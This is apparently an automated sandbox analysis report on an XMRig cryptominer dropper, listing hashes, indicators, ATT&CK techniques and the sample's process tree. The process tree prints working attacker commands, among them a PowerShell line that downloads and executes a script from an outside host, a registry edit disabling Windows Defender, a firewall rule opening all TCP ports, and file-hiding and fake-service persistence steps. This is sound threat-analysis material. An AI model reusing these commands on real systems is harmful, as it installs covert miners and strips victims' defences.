xmrig | c7eaff9d735d8eef42c73be4c093f7b31cf7d0df18c98d135eb915c13409d077

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2024, 21:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
Size 3.8MB
Sample241029-1dl2cszfmd
SHA256 c7eaff9d735d8eef42c73be4c093f7b31cf7d0df18c98d135eb915c13409d077
MD5 f6814a59c53218b84eb943ef07fcb74c
SHA1 27aa1ad8dbe7040e9ba2a1499ef4ce0117728f6d
SHA512 41c09fdde4db7c074eeddb16a4a1716aa40e27b32cff2ce3cb0b466a357edd30d4390d6832bfe021f49638bc0bdd6697141cab6b67f7d58fd5f06efbfabc6264
SSDEEP 98304:fyzs10ZzmBarm735MyHkWKA7kFCQi7MahHr5Gt40JY8:fyQfBamD5QM7Mms4ah
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig evasion execution miner persistence privilege_escalation

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://k2ygoods.ydns.eu/power.txt

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x0007000000023ca7-38.dat	family_xmrig
behavioral2/files/0x0007000000023ca7-38.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
29	4484	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1792	netsh.exe

Sets file to hidden 1 TTPs 4 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2940	attrib.exe
3336	attrib.exe
804	attrib.exe
1252	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 6 IoCs

pid	Process
1132	lsass.exe
3572	1sass.exe
3468	lsass.exe
3564	1sass.exe
2036	csrss.exe
4460	winlogon.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4484	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File opened for modification	C:\Windows\debug\m\winlogon.exe	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\csrss.exe	attrib.exe
File created	C:\Windows\debug\m\config.json	winlogon.exe
File created	C:\Windows\debug\__tmp_rar_sfx_access_check_240624765	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\server2.reg	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\n.vbs	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\lsass.exe	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\csrss.exe	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m	attrib.exe
File opened for modification	C:\Windows\debug\m\server.reg	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\WinRing0x64.sys	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\WinRing0x64.sys	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\c1.bat	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\c1.bat	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\config.json	attrib.exe
File opened for modification	C:\Windows\debug\m\lsass.exe	attrib.exe
File opened for modification	C:\Windows\debug\m	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\config.json	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\server2.reg	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\n.vbs	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\winlogon.exe	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File opened for modification	C:\Windows\debug\m\winlogon.exe	attrib.exe
File created	C:\Windows\debug\m\config.json	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\server.reg	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\csrss.exe	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
File created	C:\Windows\debug\m\lsass.exe	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3968	sc.exe
3580	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies data under HKEY_USERS 47 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe

Runs .reg file with regedit 2 IoCs

pid	Process
4440	regedit.exe
4028	regedit.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2036	csrss.exe
2036	csrss.exe
4484	powershell.exe
4484	powershell.exe
4484	powershell.exe
4484	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	csrss.exe
Token: SeLockMemoryPrivilege	4460	winlogon.exe
Token: SeDebugPrivilege	4484	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4460	winlogon.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 948	4708	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe	84
PID 4708 wrote to memory of 948	4708	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe	84
PID 948 wrote to memory of 1780	948	WScript.exe	86
PID 948 wrote to memory of 1780	948	WScript.exe	86
PID 1780 wrote to memory of 1132	1780	cmd.exe	88
PID 1780 wrote to memory of 1132	1780	cmd.exe	88
PID 1780 wrote to memory of 4440	1780	cmd.exe	89
PID 1780 wrote to memory of 4440	1780	cmd.exe	89
PID 1780 wrote to memory of 3572	1780	cmd.exe	90
PID 1780 wrote to memory of 3572	1780	cmd.exe	90
PID 1780 wrote to memory of 4028	1780	cmd.exe	92
PID 1780 wrote to memory of 4028	1780	cmd.exe	92
PID 1780 wrote to memory of 3580	1780	cmd.exe	93
PID 1780 wrote to memory of 3580	1780	cmd.exe	93
PID 1780 wrote to memory of 3968	1780	cmd.exe	95
PID 1780 wrote to memory of 3968	1780	cmd.exe	95
PID 1780 wrote to memory of 2940	1780	cmd.exe	97
PID 1780 wrote to memory of 2940	1780	cmd.exe	97
PID 1780 wrote to memory of 1252	1780	cmd.exe	98
PID 1780 wrote to memory of 1252	1780	cmd.exe	98
PID 1780 wrote to memory of 804	1780	cmd.exe	99
PID 1780 wrote to memory of 804	1780	cmd.exe	99
PID 1780 wrote to memory of 3336	1780	cmd.exe	100
PID 1780 wrote to memory of 3336	1780	cmd.exe	100
PID 1780 wrote to memory of 1792	1780	cmd.exe	101
PID 1780 wrote to memory of 1792	1780	cmd.exe	101
PID 3564 wrote to memory of 2036	3564	1sass.exe	105
PID 3564 wrote to memory of 2036	3564	1sass.exe	105
PID 3468 wrote to memory of 4460	3468	lsass.exe	106
PID 3468 wrote to memory of 4460	3468	lsass.exe	106
PID 2036 wrote to memory of 4360	2036	csrss.exe	117
PID 2036 wrote to memory of 4360	2036	csrss.exe	117
PID 4360 wrote to memory of 4484	4360	cmd.exe	118
PID 4360 wrote to memory of 4484	4360	cmd.exe	118
PID 4484 wrote to memory of 2496	4484	powershell.exe	120
PID 4484 wrote to memory of 2496	4484	powershell.exe	120

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2940	attrib.exe
3336	attrib.exe
804	attrib.exe
1252	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Windows\debug\m\n.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Windows\debug\m\c1.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\debug\m\lsass.exe
      lsass.exe install "Windows Updata" winlogon.exe
      4⤵
      Executes dropped EXE
      PID:1132
  - - C:\Windows\regedit.exe
      C:\Windows\regedit /s server.reg
      4⤵
      Runs .reg file with regedit
      PID:4440
  - - C:\PerfLogs\Admin\1sass.exe
      C:\PerfLogs\Admin\1sass.exe install "Windows Management" C:\PerfLogs\Admin\csrss.exe
      4⤵
      Executes dropped EXE
      PID:3572
  - - C:\Windows\regedit.exe
      C:\Windows\regedit /s server2.reg
      4⤵
      Runs .reg file with regedit
      PID:4028
  - - C:\Windows\system32\sc.exe
      sc start "Windows Updata"
      4⤵
      Launches sc.exe
      PID:3580
  - - C:\Windows\system32\sc.exe
      sc start "Windows Management"
      4⤵
      Launches sc.exe
      PID:3968
  - - C:\Windows\system32\attrib.exe
      attrib C:\Windows\debug\m +h +a
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      Views/modifies file attributes
      PID:2940
  - - C:\Windows\system32\attrib.exe
      attrib C:\Windows\debug\m\*.json +h +a +s +r
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      Views/modifies file attributes
      PID:1252
  - - C:\Windows\system32\attrib.exe
      attrib C:\Windows\debug\m\*.exe +h +a +s +r
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      Views/modifies file attributes
      PID:804
  - - C:\Windows\system32\attrib.exe
      attrib C:\PerfLogs\Admin\*.exe +h +a +s +r
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:3336
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1792

C:\Windows\debug\m\lsass.exe
C:\Windows\debug\m\lsass.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\debug\m\winlogon.exe
  "winlogon.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4460

C:\PerfLogs\Admin\1sass.exe
C:\PerfLogs\Admin\1sass.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3564
- C:\PerfLogs\Admin\csrss.exe
  "C:\PerfLogs\Admin\csrss.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.ydns.eu/power.txt')"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.ydns.eu/power.txt')
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4484
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
        5⤵
        
        PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_yf42l41a.xoj.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_yf42l41a.xoj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

c1.bat

Path C:\Windows\debug\m\c1.bat
Size 867B
SHA256 0ab85d2da0f7a9b644d4b7a964a7b1728d1f9eb716b9abe2f1d9c611d7ee4617
MD5 9a412e42384f31ad8c61cbd32076603c
SHA1 7a1caef46f6c7549ab17d98f1328fff4673cacb2
SHA512 1d9d179db2a8901539f3a7fe6a91d58422cdb6a28dbf53e758e8745881a45304b0037227b9a4d1c04928d14b0014a1bb1c2e6eb53dfa43111eba6bf32da949c6
MD5 SHA1 SHA512

Submit Download

config.json

Path C:\Windows\debug\m\config.json
Size 2KB
SHA256 200648dbf62cba5a3900f4cb27e1c7a8f37e646f178cf24cc59aa48e71642381
MD5 346a82259cac680982bfa888812b0ec7
SHA1 e138e0c91b68574149e234021bf32c7c62f08c70
SHA512 83db704a1089e77776b7122b5f808449795def1065659a121056964dfc59eae1ab315bd13a70115c57f9b6ab7c31d44822902fff045074f02811fb95dbae09bd
MD5 SHA1 SHA512

Submit Download

csrss.exe

Path C:\Windows\debug\m\csrss.exe
Size 2.8MB
SHA256 1b019e434a871b799def0d148101719f889f49c5ef169291ea766705760f649a
MD5 fb0577a1c32ba19ade1f5cc23b755fe1
SHA1 ce0e8ea9dfccdb110facd4875c7fc80bc80849c0
SHA512 3ac21854633a71980de231c650a8e7c0712a2c6dba8507cfa523319ea6cdd746708a645ab65424f835f09788a60b246052ca730835fe55b92d663aea4146a580
SSDEEP 49152:X8M8BhZ3fVSkIrb/TKvO90d7HjmAFd4A64nsfJwroCCgXBVjrb/sD1UPkv4jC4UZ:7C3NrP7PRjC4i
MD5 SHA1 SHA512 SSDEEP

Submit Download

lsass.exe

Path C:\Windows\debug\m\lsass.exe
Size 323KB
SHA256 f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97
MD5 beceae2fdc4f7729a93e94ac2ccd78cc
SHA1 47c112c23c7bdf2af24a20bd512f91ff6af76bc6
SHA512 073f5ae0d4ffedb5edb3b92b8e19bea2c482a3ad7ab02ed71955d3e55aa44a297307fe4334d28c6f7683cb02d40b4313e560c9049507b16a8c5d6ee0a0f0071f
SSDEEP 6144:yejl5QCuDlXW4+DiErv2yKU9pclGrDkXNBe:vl5QCKdW4+DiNlXNBe
MD5 SHA1 SHA512 SSDEEP

Submit Download

n.vbs

Path C:\Windows\debug\m\n.vbs
Size 211B
SHA256 cf8417cdc951eed2c10d424b312a0fbf222321e785e655548d9b054a2d87c273
MD5 c4258287aa2aa93135e6d1462b1cd58f
SHA1 16bdfae57a969931d2b7321dd48ec39dfbe8be14
SHA512 38c701c8f50d35dd8319755d65e74849150bc3402afe2994a0eea9209ffde193ca6301ff28ad4e8b5ddb4cdd916f9a0e7ef4ef7e4e9c8b82ae28a2a3e76d75ba
MD5 SHA1 SHA512

Submit Download

server.reg

Path C:\Windows\debug\m\server.reg
Size 272B
SHA256 f9f8291c7d3f5397e249aa6ec402ebc45d47cf455b25588970382048aa67b985
MD5 7c2301b0fa96dac6f800704acca36342
SHA1 d5733429c9acee4e452bae53499fa67309beb855
SHA512 f754c1b848ff6eef49d60096c3a79a9120ddde80d812be2b6b751745cd008c3f2ffd0c82de23852a9153258d43ef8de7e1e30f4598a557ff7809ae476a75922f
MD5 SHA1 SHA512

Submit Download

server2.reg

Path C:\Windows\debug\m\server2.reg
Size 284B
SHA256 1b74416ba48010dad0467ce77f8d1044e75be2dd003a18cdad0d6f2112e3b565
MD5 41678ca725e5e2964ccfebde111d243a
SHA1 451890c89b9268a321831ae0ca17cf128c973c2a
SHA512 b916c1321f4073da734c31bd6a50f1abb95592a4782977f09d73b986b867a3599f348bfbd3641d204a1882f4e3e84be7eb7254d5e4049e45279088172ab8ddad
MD5 SHA1 SHA512

Submit Download

winlogon.exe

Path C:\Windows\debug\m\winlogon.exe
Size 5.1MB
SHA256 8d70b99cd76de4f8a019654bde6fc2c465d6340830d2b394177fba755440a6c2
MD5 bc59c52a71f212985286c1e27220b99f
SHA1 30cef45a02b599bef0ebe22c708274eb2d61f320
SHA512 dff3cc673e0cd7fbd18028029fa5e44ed0a4634502ac0bc5aa5819787900b05de07885f00f17a9188e74aeb07d60e55917fd19172eb93b14170258bdb3e8e41d
SSDEEP 98304:E93zHsk5RtuI9b+LmroN3r7qrn4YPBrhSkqCjNepZOyVA+Hs:OHs6rn4QBraCRe7RdH
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/4460-42-0x000001C5E4790000-0x000001C5E47B0000-memory.dmp

Download

memory/4484-43-0x000001BBDF940000-0x000001BBDF962000-memory.dmp

Download

memory/4484-62-0x000001BBDFE20000-0x000001BBDFE3C000-memory.dmp

Download

memory/4484-63-0x000001BBDFE40000-0x000001BBDFEF5000-memory.dmp

Download

memory/4484-64-0x000001BBDF990000-0x000001BBDF99A000-memory.dmp

Download

memory/4484-65-0x000001BBDFF20000-0x000001BBDFF3C000-memory.dmp

Download

memory/4484-66-0x000001BBDFF00000-0x000001BBDFF0A000-memory.dmp

Download

memory/4484-68-0x000001BBDFF10000-0x000001BBDFF18000-memory.dmp

Download

memory/4484-67-0x000001BBDFF60000-0x000001BBDFF7A000-memory.dmp

Download

memory/4484-70-0x000001BBDFF50000-0x000001BBDFF5A000-memory.dmp

Download

memory/4484-69-0x000001BBDFF40000-0x000001BBDFF46000-memory.dmp

Download